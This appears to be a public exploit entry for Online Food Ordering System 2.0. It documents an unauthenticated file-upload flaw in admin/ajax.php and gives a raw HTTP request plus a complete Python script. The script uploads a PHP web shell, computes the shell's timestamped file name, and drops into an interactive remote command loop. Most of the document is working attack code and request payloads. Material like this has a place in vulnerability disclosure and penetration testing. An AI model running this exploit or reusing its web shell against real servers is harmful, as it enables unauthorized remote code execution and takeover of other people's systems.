# Exploit Title: Online Food Ordering System 2.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-20
# Vendor Homepage: https://www.sourcecodester.com/php/14951/online-food-ordering-system-php-and-sqlite-database-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online_ordering.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Food Ordering System 2.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
# 1. Access the 'admin/ajax.php', as it does not check for an authenticated user session.
# 2. Set the 'action' parameter of the POST request to 'save_settings'.
# - `ajax.php?action=save_settings`
# 3. Capture request in burp and replace with with following request.
'''
POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------120025571041714278883588636251
Content-Length: 754
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=site_settings
Cookie: PHPSESSID=nbt4d6o8udue0v82bvasfjkm90
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------120025571041714278883588636251
Content-Disposition: form-data; name="name"
adsa
-----------------------------120025571041714278883588636251
Content-Disposition: form-data; name="email"
asdsad@asda.com
-----------------------------120025571041714278883588636251
Content-Disposition: form-data; name="contact"
asdsad
-----------------------------120025571041714278883588636251
Content-Disposition: form-data; name="about"
asdsad
-----------------------------120025571041714278883588636251
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php echo phpinfo();?>
-----------------------------120025571041714278883588636251--
'''
# ` Image uploader is renaming your payload using the following function.
# strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
# you can simply go to any online php compile website like https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler
# and print this function to get the value. e.g: <?php echo strtotime(date('y-m-d H:i')); ?> Output: 1632085200
# concate output with your playload name like this 1632085200_phpinfo.php
# 4. Communicate with the webshell at '/assets/img/1632085200_phpinfo.php?cmd=dir' using GET Requests.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 OFOS_v2.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/fos/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL
print(Style.BRIGHT+" Online Food Ordering System v2.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)
print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}
LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/assets/img/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = input(term)
command = {'cmd': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
#Creating a PHP Web Shell
phpshell = {
'img':
(
'shell.php',
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
# Defining value for form data
data = {'name':'test', 'email':'info@sample.com', 'contact':'+6948 8542 623','about':'hello world'}
def id_generator():
x = datetime.datetime.now()
date_string = x.strftime("%y-%m-%d %H:%M")
date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
timestamp = datetime.datetime.timestamp(date)
file = int(timestamp)
final_name = str(file)+'_shell.php'
return final_name
filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'admin/ajax.php?action=save_settings', cookies=cookies, files=phpshell, data=data)
shell_upload = True if("1" in upload.text) else False
u=shell_upload
if u:
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)
#Executing The Webshell
webshell(LINK, s)
